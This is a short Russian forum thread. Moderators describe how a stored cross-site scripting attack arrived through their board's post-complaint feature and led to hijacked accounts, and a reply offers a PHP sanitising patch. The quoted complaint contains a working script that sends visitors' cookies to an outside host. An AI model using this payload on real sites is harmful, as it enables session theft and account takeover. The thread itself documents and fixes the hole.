Безопасность системы жалоб на сообщения

[Fox Mulder]

В общем пришло нам всем модератором в личку вот такое вот:

 

AlexanderR,

 

Всем модераторам было отправлено уведомление от 0_o через кнопку «Жалоба».

------------------------------------------------

Тема: обшение вопросами

------------------------------------------------

Ссылка на сообщение: http://www.communicator.com.ua/forums/inde...#65533;entry677

------------------------------------------------

Жалоба:

 

<script>img = new Image(); img.src = "http://s.netsec.ru/lol/pic.gif?"+document.cookie;</script>

 

------------------------------------------------

 

--

С уважением,

Администрация

 

После этого чудеесным образом поменялись аватары, посты стали редактироваться, один администратор оказался заблокированным до 2008 года...

 

Что же произошло? Как это код они проснулуи через жалобы?

Причем до квотинга под строкой "Жалоба" было пустое место

[naka]

Читать форум, юзать поиск,ставить жалобы на мыло.

Или

Временное исправление на 2.1.x

 

В файле

./sources/action_public/misc/contact_member.php

 

найти Код

$this->lib->msg_post = $this->email->message;

 

 

 

заменить на Код

$this->lib->msg_post = $this->ipsclass->clean_evil_tags($this->ipsclass->parse_clean_value($this->email->message));

[Fox Mulder]

Спасибо, а юзать поиск по какой фразе-то? А то взломов то много....

[xRay]

Fox Mulder

Сюда смотри:

Уязвимость